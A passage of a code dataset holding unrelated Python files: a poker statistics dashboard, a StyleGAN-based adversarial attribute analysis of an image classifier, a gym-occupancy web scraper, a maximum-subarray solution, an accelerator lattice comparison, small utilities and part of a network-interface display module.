lib.fig_table_styles import highlight_max, highlight_min\n\n\n#%%\n@st.cache(allow_output_mutation=True)\ndef load_dataset(datestring):\n df_final = extract_transform(datestring)\n return df_final\n\n\n#%%\n@st.cache(allow_output_mutation=True)\ndef load_gamestats(gamestats):\n # get the class instance\n # gamestats = GameStats(df_final)\n\n # add stuff to load here\n game = gamestats.get_played_games()\n pot = gamestats.get_pot_stats()\n general_gStats = gamestats.get_gameStats(game, pot)\n fig_played_games = gamestats.plot_played_games()\n return general_gStats, fig_played_games\n\n\n@st.cache(allow_output_mutation=True)\ndef load_playstats(playstats):\n # get the class instance\n # playstats = PlayerStats(df_final)\n\n # add stuff to load here\n fig_play_stats = playstats.plot_player_stats()\n cashgame_stats = playstats.get_cashgame_statistics()\n\n return cashgame_stats, fig_play_stats\n\n\n#%% Load Stuff in Cache\ndatestring = st.sidebar.selectbox(\n \"Select a session\", options=[\"12122020\", \"19122020\"], index=0\n)\n\n\ndf_final = load_dataset(datestring)\n\ngamestats = GameStats(df_final)\nplaystats = PlayerStats(df_final)\n\ngeneral_gStats, fig_played_games = load_gamestats(gamestats)\n\ncashgame_stats, fig_play_stats = load_playstats(playstats)\n\n#%% Headline\nst.write(\"\"\"# Dashboard - Session_id #\"\"\")\n\n# Generate Sidebar for player selection\nplayers = playstats.get_ListOfPlayers()\nselected_player = st.sidebar.selectbox(\"Select Player(s)\", options=players, index=0)\nopponents = st.sidebar.multiselect(\n \"Select Opponent(s)\", default=players, options=players\n)\n\nplayer_vs_opp = list(set([selected_player] + opponents))\n\n\nst.write(\"\"\"### Player Stats for player: \"\"\", selected_player) # Player Statistics\n# play_col1, play_col2 = st.beta_columns(2) # Generate 2 equidistant columns\n# specific_stats = playstats._player_specific_stats(selected_player)\n# play_col1.dataframe(specific_stats)\n\ncashgame_stats = cashgame_stats.loc[player_vs_opp, :]\ncashstats_styled = (\n cashgame_stats.style.apply(highlight_max)\n .apply(highlight_min)\n .format(\"{:.2f}\")\n .set_properties(**{\"text-align\": \"center\"})\n .set_table_styles([dict(selector=\"th\", props=[(\"text-align\", \"center\")])])\n)\n\n\nst.dataframe(cashstats_styled)\n\n\nst.write(\"\"\"### Global Game Stats\"\"\") # Game Statistics\ngame_col1, game_col2 = st.beta_columns([2, 1]) # Generate 2 columns\n\ngStats_styled = (\n general_gStats.style.apply(highlight_max)\n .apply(highlight_min)\n .format(\"{:.0f}\")\n .set_properties(**{\"text-align\": \"center\"})\n .set_table_styles([dict(selector=\"th\", props=[(\"text-align\", \"center\")])])\n)\n\ngame_col1.dataframe(gStats_styled)\n\n\ngame_col1.pyplot(fig_play_stats)\ngame_col2.pyplot(fig_played_games)\n","repo_name":"LtdDan82/PokerStats","sub_path":"app_streamlit.py","file_name":"app_streamlit.py","file_ext":"py","file_size_in_byte":3389,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"41694864705","text":"import os\n\nimport numpy as np\nimport PIL.Image\nimport PIL.ImageDraw, PIL.ImageFont\nimport torch\nfrom torch.nn.functional import normalize\n\n\nfrom stylegan.wrapper import Generator\nfrom stylegan.embedding import get_delta_t\nfrom stylegan.manipulator import Manipulator\nfrom stylegan.mapper import get_delta_s, get_delta_s_top\n\nimport class_labels\nimport pandas as pd\n\n\nfrom torchvision.models import resnet\nimport torch.nn as nn\nfrom torchvision import transforms\nfrom torchvision.utils import save_image\nimport torch.nn.functional as F\nfrom tqdm import tqdm\n\n\nimport clip\nimport time\nimport argparse\n\nfrom scripts.histogram import histogram, filter_string\nfrom scripts.draw_label import draw_label\n\nexp_list = ['ffhq', 'afhqdog', 'afhqcat', 'church', 'car']\ndraw_logit = True\n\n\ndef process_experiment(args):\n exp = args.experiment \n sg_path = {\n x : f'./pretrained/{x}.pkl' for x in exp_list\n }\n fs3_path = {\n x : f'./pretrained/fs3{x}.npy' for x in exp_list\n\n }\n\n neutral = {\n 'ffhq': 'a face',\n 'afhqcat': 'a cat',\n 'church': 'a church',\n 'car': 'a car',\n 'afhqdog': 'a dog'\n }\n\n args.stylegan_path = sg_path[exp]\n args.fs3_path = fs3_path[exp]\n args.neutral = neutral[exp]\n return args\n\n\ndef findMaxS(style, dic):\n s_list = np.array([])\n for a in style:\n s_list= np.append(s_list, style[a].cpu().detach().numpy())\n \n top = max(s_list)\n \n ind = np.argmax(np.array(s_list))\n top_ind = np.where(np.abs(s_list) > 1.5)\n\n for dd in top_ind[0]:\n d = int(dd)\n if d in dic:\n\n dic[d] = dic[d] + 1\n else:\n dic[d] = 1\n\n dic_list = sorted(dic.items(), key=lambda item: item[1])\n dic_list.reverse()\n print({k: v for k, v in dic_list[:30]})\n return dic\n\n\n\n\ndef prepare_label(args, device , beta_threshold=0.6):\n \n if args.target_attr == None:\n labels, label_beta = getattr(class_labels, args.experiment)()\n else:\n labels, label_beta = args.target_attr.split(','), {}\n # breakpoint()\n\n labels = labels[:args.num_attr]\n\n neutral = args.neutral\n\n ckpt = args.stylegan_path\n G = Generator(ckpt, device)\n model, preprocess = clip.load(\"ViT-B/32\", device=device)\n fs3 = np.load(args.fs3_path)\n manipulator = Manipulator(G, device)\n\n avg = 0\n\n delta_s_dict = {}\n for target in labels:\n classnames=[neutral, target]\n delta_t = get_delta_t(classnames, model)\n\n if beta_threshold < 5:\n if target not in label_beta:\n delta_s, num_channel = get_delta_s(fs3, delta_t, manipulator, beta_threshold=beta_threshold)\n else:\n delta_s, num_channel = get_delta_s(fs3, delta_t, manipulator, beta_threshold=label_beta[target])\n\n d_s_array = convert(delta_s)\n d_s_array = normalize(torch.tensor(d_s_array), dim = 0)\n delta_s = convert(d_s_array, delta_s)\n\n else:\n delta_s, num_channel = get_delta_s_top(fs3, delta_t, manipulator, num_top=int(beta_threshold))\n d_s_array = convert(delta_s)\n d_s_array = normalize(torch.tensor(d_s_array), dim = 0)\n delta_s = convert(d_s_array, delta_s)\n\n print(f\"{target}:{num_channel}\")\n avg += num_channel\n\n delta_s_dict[target] = delta_s\n\n print(f\"average channel is {avg/len(labels)}\")\n\n return delta_s_dict, {a:torch.tensor([0.], device=device, requires_grad=True) for a in labels}\n \n\n\n\ndef convert(s,sample_dict = {}):\n\n if type(s) is dict:\n output = []\n for x in s:\n output += list(s[x].detach().cpu().numpy())\n return np.array(output)\n else:\n dic = dict()\n ind = 0\n for layer in sample_dict: # 26\n dim = sample_dict[layer].shape[-1]\n\n dic[layer] = s[ind:ind+dim].to(sample_dict[layer].device)\n ind += dim\n return dic\n\n\n\ncustom_transform_clip = transforms.Compose([transforms.Resize(size=224), \n transforms.CenterCrop(size=(224, 224)),\n transforms.Normalize(mean=(0.48145466, 0.4578275, 0.40821073), std=(0.26862954, 0.26130258, 0.27577711))])\ncustom_transform_cls = transforms.Compose([transforms.Normalize(mean=[0.485, 0.456, 0.406],std=[0.229, 0.224, 0.225])])\n\ncustom_transform_resize = transforms.Compose([transforms.Resize(size=224)])\n\ndef main(args):\n\n args = process_experiment(args)\n read_labels = getattr(class_labels, args.experiment)\n\n print(args)\n\n np.random.seed(args.seed)\n device = torch.device(args.device)\n\n victim_model = resnet.resnet50(pretrained=False)\n num_fc_in_features = victim_model.fc.in_features\n victim_model.fc = torch.nn.Linear(num_fc_in_features, 1)\n victim_model.load_state_dict(torch.load(args.target_model_path, map_location='cpu'))\n victim_model.to(device)\n victim_model.eval()\n\n G = Generator(args.stylegan_path, device)\n\n clip_model, clip_preprocess = clip.load(\"ViT-B/32\", device=device)\n\n bcelogit_loss = nn.BCEWithLogitsLoss().to(device)\n ce_loss = nn.CrossEntropyLoss().to(device)\n\n clip_text_consistent = clip.tokenize(args.clip_token).to(device)\n\n attr = args.target_model_path[args.target_model_path.find(\"resnet50_\")+9 :args.target_model_path.find(\"_trainfull\")]\n if args.outdir == None:\n outdir = f'./{args.experiment}/{attr}/'\n else:\n outdir = args.outdir\n print(f\"output folder is {outdir}\")\n\n if args.mode == \"single\":\n os.makedirs(f'{outdir}/single/', mode=0o777, exist_ok=True)\n else:\n os.makedirs(f'{outdir}/multiple/', mode=0o777,exist_ok=True)\n\n\n cls_weight = args.cls_weight\n clip_weight = args.clip_weight\n tv_weight = args.tv_weight\n l2_weight = args.l2_weight\n\n\n ds_label_ori, ds_weights_ori = prepare_label(args, device, args.style_beta_or_channel)\n overall = {a:0 for a in ds_weights_ori}\n overall_changes = {a:0 for a in ds_weights_ori}\n overall_logit_changes = {a:0 for a in ds_weights_ori}\n\n \n\n def attack( target, styles , index , combination=[], text=False, save_img = True):\n ds_label = ds_label_ori.copy()\n ds_weights = ds_weights_ori.copy()\n ds_weights_adv = ds_weights_ori.copy()\n # global confusion_matrix\n\n single_mode = target != \"\" \n if type(target) is list:\n ds_label = { your_key: ds_label[your_key] for your_key in target }\n ds_weights = { your_key: ds_weights[your_key] for your_key in target }\n ds_weights_adv = { your_key: ds_weights_adv[your_key] for your_key in target }\n\n for attack_iter in range(args.attack_iter):\n s = styles.copy()\n\n if single_mode:\n ds_weights[target].requires_grad=True\n for x in s:\n ds = ds_label[target][x]\n s[x] = s[x] + ds_weights[target] * ds\n else:\n for target in ds_label:\n ds_weights[target].requires_grad=True\n for x in s:\n ds = ds_label[target][x]\n s[x] = s[x] + ds_weights[target] * ds\n\n\n img = G.synthesis_from_stylespace(w, s)\n img_resize224 = custom_transform_resize(img)\n img_resize224 = (img_resize224 * 127.5 + 128).clamp(0, 255) / 255.0\n img_resize224 = custom_transform_cls(img_resize224)\n \n victim_logit = victim_model(img_resize224).type(torch.float64)\n # breakpoint()\n clip_image = custom_transform_clip((img+1)/2)\n logits_per_image, logits_per_text = clip_model(clip_image, clip_text_consistent)\n clip_prob = logits_per_image.softmax(dim=-1)\n\n\n if attack_iter == 0:\n original_image = img.clone().detach()\n clip_pred = clip_prob.argmax(dim=-1).to(device)\n clip_pred.requires_grad = False\n ground_truth = (torch.sigmoid(victim_logit) > 0.5).type(torch.float64).to(device)\n ground_truth_inv = (torch.sigmoid(victim_logit) <= 0.5).type(torch.float64).to(device)\n gt = float(torch.sigmoid(victim_logit))\n # print(\"ground truth: \", float(gt))\n ground_truth.requires_grad = False\n\n img_normalize = (img.permute(0, 2, 3, 1) * 127.5 + 128).clamp(0, 255).to(torch.uint8)\n output_img = PIL.Image.fromarray(img_normalize[0].cpu().numpy(), 'RGB')\n output_img = output_img.resize((512,512))\n if draw_logit:\n output_img = draw_label(output_img, f\"{gt:.2f}\" )\n output_img_ori = output_img\n\n\n # ================================ Backward ===================================\n\n\n cls_cost = bcelogit_loss(victim_logit, ground_truth_inv)\n clip_cost = ce_loss(logits_per_image, clip_pred)\n\n victim_model.zero_grad()\n G.G.zero_grad()\n \n final_cost = cls_weight * cls_cost + clip_weight * clip_cost # + tv_weight * tv_cost\n final_cost.backward()\n\n # ================================ Draw Image ===================================\n def draw_text(output_img):\n output_img_draw = PIL.ImageDraw.Draw(output_img)\n output_img_string = \"Iter: {}, Model Logit: {}, Pred: {}\".format(attack_iter, victim_logit.cpu().detach().numpy(), (torch.sigmoid(victim_logit) > 0.5).cpu().detach().numpy())\n output_img_font = PIL.ImageFont.load_default()\n output_img_loc = (10, 20)\n output_img_draw.rectangle((output_img_loc[0], output_img_loc[1] - output_img_font.getsize(output_img_string)[1], output_img_loc[0] + output_img_font.getsize(output_img_string)[0], output_img_loc[1] + output_img_font.getsize(output_img_string)[1]), fill=\"#000000\")\n output_img_draw.text((output_img_loc[0], output_img_loc[1]), output_img_string, font=output_img_font, fill=\"#ffffff\")\n return output_img\n \n if attack_iter == args.attack_iter - 1:\n if save_img and abs(float(torch.sigmoid(victim_logit)) - gt) > 0.7:\n\n img_normalize = (img.permute(0, 2, 3, 1) * 127.5 + 128).clamp(0, 255).to(torch.uint8)\n output_img = PIL.Image.fromarray(img_normalize[0].cpu().numpy(), 'RGB')\n output_img = output_img.resize((512,512))\n \n # if text:\n # output_img = draw_text(output_img)\n if draw_logit:\n output_img = draw_label(output_img, f\"{float(torch.sigmoid(victim_logit)):.2f}\" )\n if single_mode:\n output_img_ori.save(f'{outdir}/single/{index}--original.png')\n output_img.save(f'{outdir}/single/{index}-{attack_iter:04d}-{target}.png')\n else:\n output_img_ori.save(f'{outdir}/multiple/{index}--original.png')\n output_img.save(f'{outdir}/multiple/{index}-{attack_iter:04d}.png')\n\n output_img.close()\n attacked_s = s.copy()\n\n # ================================ Next Iter ===================================\n\n s = styles.copy()\n if single_mode:\n ds_weights_adv[target] = ds_weights[target] - args.attack_step_size * ds_weights[target].grad\n ds_weights_adv[target] = ds_weights_adv[target].clamp(-args.attack_bound, args.attack_bound)\n ds_weights[target] = ds_weights_adv[target].detach()\n\n else:\n for target in ds_label:\n ds_weights_adv[target] = ds_weights[target] - args.attack_step_size * ds_weights[target].grad.sign()\n ds_weights_adv[target] = ds_weights_adv[target].clamp(-args.attack_bound, args.attack_bound)\n ds_weights[target] = ds_weights_adv[target].detach()\n\n\n\n\n # ================================= ATTACK FINISHED =================================#####\n\n if single_mode:\n\n logit_changes[target] = float(torch.sigmoid(victim_logit)) - gt\n print(f\"attr: {target} | logit changes: {float(logit_changes[target])} | weight {float(ds_weights[target])}\")\n \n else:\n print( f\"logit changes: {float(torch.sigmoid(victim_logit)) - gt}\")\n print(f\"final logit: {float(torch.sigmoid(victim_logit))}\")\n for target in ds_label:\n logit_changes[target] = float(torch.sigmoid(victim_logit)) - gt\n # print(f\"attr: {target} | weight {float(ds_weights[target])}\")\n\n print({k:f\"{float(ds_weights[k]):.6f}\" for k in ds_weights})\n flipped = (float(torch.sigmoid(victim_logit)) > 0.5) != (gt > 0.5)\n psnr_current = 0\n ssim_current = 0 \n del original_image\n return ds_weights, logit_changes, attacked_s, flipped, psnr_current, ssim_current\n\n\n all_flipped = 0\n all_psnr = 0\n all_ssim = 0\n for i in range(args.num_sample):\n \n truncation_psi = 0.7\n noise_mode = 'const' # 'const', 'random', 'none'\n\n label = torch.zeros([1, 1], device=device)\n z_ori = np.random.randn(1, G.G.z_dim)\n\n z_ori = torch.from_numpy(z_ori).to(device)\n z = z_ori.clone().detach()\n w_ori = G.mapping(z, truncation_psi=truncation_psi, truncation_cutoff=8)\n styles = G.mapping_stylespace(w_ori)\n\n s = styles.copy()\n for x in s: \n s[x].detach()\n # img_ori = G.synthesis_from_stylespace(w_ori, styles)\n w = w_ori.clone().detach()\n\n print(f\"===========================Sample Index {i}==========================\")\n\n\n ds_label, ds_weights = ds_label_ori.copy(), ds_weights_ori.copy()\n logit_changes = {}\n \n us_loc = [pos for pos, char in enumerate(args.target_model_path) if char == '_']\n classifier_name = args.target_model_path[us_loc[-2]: us_loc[-1]]\n if args.mode in \"single_attribute\":\n for target in ds_label:\n ds_weights, logit_changes, attacked_s, flipped, _, _ = attack(target, styles, i, text=True)\n overall_logit_changes[target] += abs( float(logit_changes[target]) )\n overall[target] += float(ds_weights[target])\n overall_changes[target] += abs(float(ds_weights[target]))\n\n print(\"Expectation of Abosulte Logit change:\", {k:f\"{v/(i+1):.15f}\" for k,v in sorted(overall_logit_changes.items(), key=lambda item: abs(item[1]))})\n \n histogram(overall_logit_changes, f\"{outdir}/barchart-logit-single.png\", f\"{args.experiment} on {classifier_name}\" )\n \n else:\n ds_weights, logit_changes, attacked_s, flipped, psnr_current, ssim_current = attack( \"\", styles, i, text=True)\n for a in overall:\n overall[a] += float(ds_weights[a])\n overall_changes[a] += abs(float(ds_weights[a]))\n if flipped:\n all_flipped += 1\n\n # breakpoint()\n all_psnr += psnr_current\n all_ssim += ssim_current\n print(f\"current flip rate: {all_flipped /(i+1)}\")\n\n\n print(f\"current average psnr: {all_psnr /(i+1)}\")\n print(f\"current average ssim: {all_ssim /(i+1)}\")\n \n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='Hyperparameters')\n\n parser.add_argument('--seed', type=int, default=0, help='random seed')\n\n parser.add_argument('--device', type=str, default='cuda:4', help='cuda device')\n\n parser.add_argument('--stylegan_path', type=str, default='./pretrained/afhqcat.pkl', help='StyleGAN parameter file')\n\n parser.add_argument('--target_model_path', type=str, default='./pretrained/resnet50_Dog_trainfull.pkl', help='Target model')\n\n parser.add_argument('--clip_token', default=[\"a cat\", \"a dog\"], help='Clip token')\n\n parser.add_argument('--cls_weight', type=float, default=1, help='Classification loss weight')\n\n parser.add_argument('--clip_weight', type=float, default=0.005, help='Clip loss weight')\n\n parser.add_argument('--tv_weight', type=float, default=0.001, help='Total Variation loss weight')\n\n parser.add_argument('--l2_weight', type=float, default=0.003, help='L2 loss weight')\n\n parser.add_argument('--num_sample', type=int, default=1000, help='Number of images sampled from StyleGAN')\n\n parser.add_argument('--attack_iter', type=int, default=100, help='Number of attack iterations per image')\n \n parser.add_argument('--num_attr', type=int, default=10000, help='Number of a first attr used in attr list, used in controlling attributes(table1)')\n\n parser.add_argument('--attack_step_size', type=float, default=1, help='Attack step size')\n\n parser.add_argument('--attack_bound', type=float, default=20, help='Attack bound')\n\n parser.add_argument('--style_beta_or_channel', type=float, default=0.1, help='if this < 5, then it is beta, else it is num_channel ')\n\n parser.add_argument('--experiment', type=str, default='ffhq', choices=exp_list, help='experiment name')\n\n parser.add_argument('--outdir', type=str, default=None,help='output image place')\n\n parser.add_argument('--target_attr', type=str, default=None, help='single target')\n\n parser.add_argument('--mode', type=str, default='single', choices=[\"single\", \"multiple\"], help='experiment name')\n\n args = parser.parse_args()\n main(args)\n","repo_name":"oliverow/AttributeAnalysis","sub_path":"attribute_analysis.py","file_name":"attribute_analysis.py","file_ext":"py","file_size_in_byte":17623,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"32018297084","text":"import logging\nimport requests\nfrom bs4 import BeautifulSoup\nfrom decouple import config\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\n\nURL = 'https://recwell.wisc.edu/liveusage/'\nCAPACITY = config('CAPACITY', cast=int)\n\nlogging.basicConfig(filename='/var/log/scrapes.log', \n filemode='a', \n datefmt='%H:%M:%S',\n level=logging.INFO\n)\n\ndef calculatePercent(total):\n percent = float(total / CAPACITY) * 100\n return int(percent)\n\n# This function accesses a backup website\n# with \"live\" but less reliable data (since it's updated less\n# frequently ~25-50min) however it is better than giving no\n# data at all\ndef checkBackup():\n try:\n # Chrome options\n options = webdriver.ChromeOptions()\n options.add_argument('--headless')\n options.add_argument('--no-sandbox') \n # Remotely use chrome that is hosted in separate container \n # (hostname: chrome, port: 4444)\n # https://stackoverflow.com/questions/45323271/\n # how-to-run-selenium-with-chrome-in-docker\n driver = webdriver.Remote(\n command_executor='http://chrome:4444/wd/hub',\n options=options\n )\n driver.get(URL) \n\n # https://stackoverflow.com/questions/59130200/selenium-wait-until-element-\n # is-present-visible-and-interactable\n current_counts = (WebDriverWait(driver, 20).until\n (EC.visibility_of_all_elements_located(\n (By.XPATH, \n \"//span[@class='tracker-current-count pending']\"))))\n\n # Adds live counts at The Nick together (five seperate counts total)\n # (Only access first 5 since last 3 is info about The Shell)\n total = 0\n for count in range(5):\n total += int(current_counts[count].text) \n\n logging.info('checkBackup: ' + str(total))\n return calculatePercent(total)\n except Exception as e:\n logging.info('Error in checkBackup()')\n logging.info(e)\n return -1 \n finally:\n driver.close()\n","repo_name":"elim27/recwell-bot","sub_path":"src/webscrapers/backup_scrape.py","file_name":"backup_scrape.py","file_ext":"py","file_size_in_byte":2276,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"3753229783","text":"# -*- coding: utf-8 -*-\n# @Time : 2020/4/1 10:14\n# @Author : XXX\n# @Site : \n# @File : 53. 最大连续子序和.py\n# @Software: PyCharm\n\n'''\n给定一个整数数组 nums ,找到一个具有最大和的连续子数组(子数组最少包含一个元素),返回其最大和。\n示例:\n输入: [-2,1,-3,4,-1,2,1,-5,4],\n输出: 6\n解释: 连续子数组 [4,-1,2,1] 的和最大,为 6。\n'''\n\nfrom typing import List\nclass Solution:\n '''\n dp[i] = max(dp[i-1]+nums[i], nums[i])\n return max(dp)\n '''\n def maxSubArray(self, nums: List[int]) -> int:\n dp = [0] * len(nums)\n dp[0] = nums[0]\n for i in range(1, len(nums)):\n dp[i] = max(dp[i - 1] + nums[i], nums[i])\n return max(dp)\n\n\nif __name__ == '__main__':\n print(Solution().maxSubArray([-2,1,-3,4,-1,2,1,-5,4]))\n\n","repo_name":"zdqzyx/LeetCode","sub_path":"LeetCode/dp/53. 最大连续子序和.py","file_name":"53. 最大连续子序和.py","file_ext":"py","file_size_in_byte":827,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"15819031007","text":"import shutil\nimport pickle\nimport numpy as np\n\nimport pysixtrack\nimport sixtracktools\n\ninput_to_test = 'pysixtrack_from_pymask'\ninput_to_test = 'sixtrack_from_pymask'\n\nif input_to_test == 'pysixtrack_from_pymask':\n # Load pysixtrack machine \n with open(\"pymask_output_beam1_tuned/pysixtrack/line_bb_dipole_not_cancelled.pkl\", \"rb\") as fid:\n ltest = pysixtrack.Line.from_dict(pickle.load(fid))\nelif input_to_test == 'sixtrack_from_pymask':\n sixtrack_input_folder = 'pymask_output_beam1_tuned/sixtrack'\n sixinput_test = sixtracktools.sixinput.SixInput(sixtrack_input_folder)\n ltest = pysixtrack.Line.from_sixinput(sixinput_test)\nelse:\n raise ValueError('What?!')\n\n# Load reference sixtrack machine\nsixinput = sixtracktools.sixinput.SixInput(\"mad/sixtrack/\")\nlsix = pysixtrack.Line.from_sixinput(sixinput)\n\noriginal_length = ltest.get_length()\nassert (lsix.get_length() - original_length) < 1e-6\n\n# Simplify the two machines\nfor ll in (ltest, lsix):\n ll.remove_inactive_multipoles(inplace=True)\n ll.remove_zero_length_drifts(inplace=True)\n ll.merge_consecutive_drifts(inplace=True)\n\n# Check that the two machines are identical\nassert len(ltest) == len(lsix)\n\nassert (ltest.get_length() - original_length) < 1e-6\nassert (lsix.get_length() - original_length) < 1e-6\n\n\ndef norm(x):\n return np.sqrt(np.sum(np.array(x) ** 2))\n\n\nfor ii, (ee_test, ee_six, nn_test, nn_six) in enumerate(\n zip(ltest.elements, lsix.elements, ltest.element_names, lsix.element_names)\n):\n assert type(ee_test) == type(ee_six)\n\n dtest = ee_test.to_dict(keepextra=True)\n dsix = ee_six.to_dict(keepextra=True)\n\n for kk in dtest.keys():\n\n # Check if they are identical\n if dtest[kk] == dsix[kk]:\n continue\n\n # Check if the relative error is small\n try:\n diff_rel = norm(np.array(dtest[kk]) - np.array(dsix[kk])) / norm(\n dtest[kk]\n )\n except ZeroDivisionError:\n diff_rel = 100.0\n if diff_rel < 3e-5:\n continue\n\n # Check if absolute error is small\n diff_abs = norm(np.array(dtest[kk]) - np.array(dsix[kk]))\n if diff_abs > 0:\n print(f\"{nn_test}[{kk}] - test:{dtest[kk]} six:{dsix[kk]}\")\n if diff_abs < 1e-12:\n continue\n\n # Exception: drift length (100 um tolerance)\n if isinstance(\n ee_test, (pysixtrack.elements.Drift, pysixtrack.elements.DriftExact)\n ):\n if kk == \"length\":\n if diff_abs < 1e-4:\n continue\n\n # Exception: multipole lrad is not passed to sixtraxk\n if isinstance(ee_test, pysixtrack.elements.Multipole):\n if kk == \"length\":\n if np.abs(ee_test.hxl) + np.abs(ee_test.hyl) == 0.0:\n continue\n\n # Exceptions BB4D (separations are recalculated)\n if isinstance(ee_test, pysixtrack.elements.BeamBeam4D):\n if kk == \"x_bb\":\n if diff_abs / dtest[\"sigma_x\"] < 0.0001:\n continue\n if kk == \"y_bb\":\n if diff_abs / dtest[\"sigma_y\"] < 0.0001:\n continue\n\n # Exceptions BB4D (angles and separations are recalculated)\n if isinstance(ee_test, pysixtrack.elements.BeamBeam6D):\n if kk == \"alpha\":\n if diff_abs < 10e-6:\n continue\n if kk == \"x_bb_co\":\n if diff_abs / np.sqrt(dtest[\"sigma_11\"]) < 0.001:\n continue\n if kk == \"y_bb_co\":\n if diff_abs / np.sqrt(dtest[\"sigma_33\"]) < 0.001:\n continue\n\n # If it got here it means that no condition above is met\n raise ValueError(\"Too large discrepancy!\")\nprint(\n \"\"\"\n\n*******************************************************************\n The line from test seq. and the line from reference are identical!\n*******************************************************************\n\"\"\"\n)\n","repo_name":"giadarol/pymask_old","sub_path":"003_compare_against_legacy_mask.py","file_name":"003_compare_against_legacy_mask.py","file_ext":"py","file_size_in_byte":3995,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"7058101905","text":"def public_helper(str_str, maxLen, str_end):\n if len(str_str) < maxLen: #если длина первой строки меньше числа\n return str_str #выходим из функции со значением первой строки\n str_split = str_str.split() #бьем первую строку по пробелаи\n str_new = ''\n for str_part in str_split: #ищем элемент больше числа\n if len(str_new) > maxLen:\n break\n str_new += str_part #прибавляем его к пустой строке\n str_new += str_end #прибавляем вторую строку\n return str_new\n\n\nprint(public_helper(input(), int(input()), input()))","repo_name":"polikashinaolya/Dumbledore-s_squad","sub_path":"11_1.py","file_name":"11_1.py","file_ext":"py","file_size_in_byte":736,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"12448740764","text":"#!/usr/bin/env python2\n\n# Plot the probability plot of the data against the normal distribution.\n\nimport sys\nimport numpy as np\nfrom scipy import stats\nimport matplotlib.pyplot as plt\n\nfrom io_helper import open_read\n\n\ndef usage():\n print >> sys.stderr, \"{} <source.npy>\"\n exit(1)\n\nif __name__ == '__main__':\n if len(sys.argv) != 2:\n usage()\n\n src = sys.argv[1]\n\n data = np.load(open_read(src))\n fig = plt.figure()\n ax1 = fig.add_subplot(111)\n prob = stats.probplot(data,dist=stats.norm,plot=ax1)\n ax1.set_title(\"Probability plot for normal distribution\")\n plt.show()\n","repo_name":"nathanielc/stats-tools","sub_path":"normality/probplot.py","file_name":"probplot.py","file_ext":"py","file_size_in_byte":605,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"71"} +{"seq_id":"17892843468","text":"import time\nimport os\nimport subprocess\nimport re\n\nfrom fpms.modules.pages.alert import *\nfrom fpms.modules.pages.display import *\nfrom fpms.modules.pages.simpletable import *\nfrom fpms.modules.pages.pagedtable import *\nfrom fpms.modules.constants import (\n LLDPNEIGH_FILE,\n CDPNEIGH_FILE,\n IPCONFIG_FILE,\n PUBLICIP_CMD,\n PUBLICIP6_CMD,\n ETHTOOL_FILE,\n IFCONFIG_FILE,\n IWCONFIG_FILE,\n IW_FILE,\n)\n\nclass Network(object):\n\n def __init__(self, g_vars):\n\n # grab a screeb obj\n self.display_obj = Display(g_vars)\n\n # create simple table\n self.simple_table_obj = SimpleTable(g_vars)\n\n # create paged table\n self.paged_table_obj = PagedTable(g_vars)\n\n # create alert\n self.alert_obj = Alert(g_vars)\n\n def show_interfaces(self, g_vars):\n '''\n Return the list of network interfaces with IP address (if available)\n '''\n\n ifconfig_file = IFCONFIG_FILE\n iw_file = IW_FILE\n\n try:\n ifconfig_info = subprocess.check_output(\n f\"{ifconfig_file} -a\", shell=True).decode()\n except Exception as ex:\n interfaces = [\"Err: ifconfig error\", str(ex)]\n self.simple_table_obj.display_simple_table(g_vars, interfaces)\n return\n\n # Extract interface info with a bit of regex magic\n interface_re = re.findall(\n r'^(\\w+?)\\: flags(.*?)RX packets', ifconfig_info, re.DOTALL | re.MULTILINE)\n if interface_re is None:\n # Something broke is our regex - report an issue\n interfaces = [\"Error: match error\"]\n else:\n interfaces = []\n for result in interface_re:\n\n # save the interface name\n interface_name = result[0]\n\n # look at the rest of the interface info & extract IP if available\n interface_info = result[1]\n\n # determine interface status\n status = \"▲\" if re.search(\"UP\", interface_info, re.MULTILINE) is not None else \"▽\"\n\n # determine IP address\n inet_search = re.search(\n \"inet (.+?) \", interface_info, re.MULTILINE)\n if inet_search is None:\n ip_address = \"-\"\n\n # do check if this is an interface in monitor mode\n if (re.search(r\"(wlan\\d+)|(mon\\d+)\", interface_name, re.MULTILINE)):\n\n # fire up 'iw' for this interface (hmmm..is this a bit of an un-necessary ovehead?)\n try:\n iw_info = subprocess.check_output(\n '{} {} info'.format(iw_file, interface_name), shell=True).decode()\n\n if re.search(\"type monitor\", iw_info, re.MULTILINE):\n ip_address = \"Monitor\"\n except:\n ip_address = \"-\"\n else:\n ip_address = inet_search.group(1)\n\n # shorten interface name to make space for status and IP address\n if len(interface_name) > 2:\n short_name = interface_name\n try:\n id = re.search(\".*(\\d+).*\", interface_name).group(1)\n if interface_name.endswith(id):\n short_name = \"{}{}\".format(interface_name[0], id)\n else:\n short_name = \"{}{}{}\".format(interface_name[0], id, interface_name[-1])\n interface_name = short_name\n except:\n pass\n\n # format interface info\n interfaces.append('{} {}:{}'.format(status, interface_name, ip_address))\n\n # final check no-one pressed a button before we render page\n if g_vars['display_state'] == 'menu':\n return\n\n self.paged_table_obj.display_list_as_paged_table(g_vars, interfaces, title=\"Interfaces\")\n\n def channel_lookup(self, freq_mhz):\n '''\n Converts frequency (MHz) to channel number\n '''\n if freq_mhz == 2484:\n return 14\n elif freq_mhz >= 2412 and freq_mhz <= 2484:\n return int(((freq_mhz - 2412) / 5) + 1)\n elif freq_mhz >= 5160 and freq_mhz <= 5885:\n return int(((freq_mhz - 5180) / 5) + 36)\n elif freq_mhz >= 5955 and freq_mhz <= 7115:\n return int(((freq_mhz - 5955) / 5) + 1)\n\n return None\n\n def show_wlan_interfaces(self, g_vars):\n '''\n Create pages to summarise WLAN interface info\n '''\n\n g_wlan_interfaces_key = 'network_wlan_interfaces'\n\n g_vars['disable_keys'] = True\n 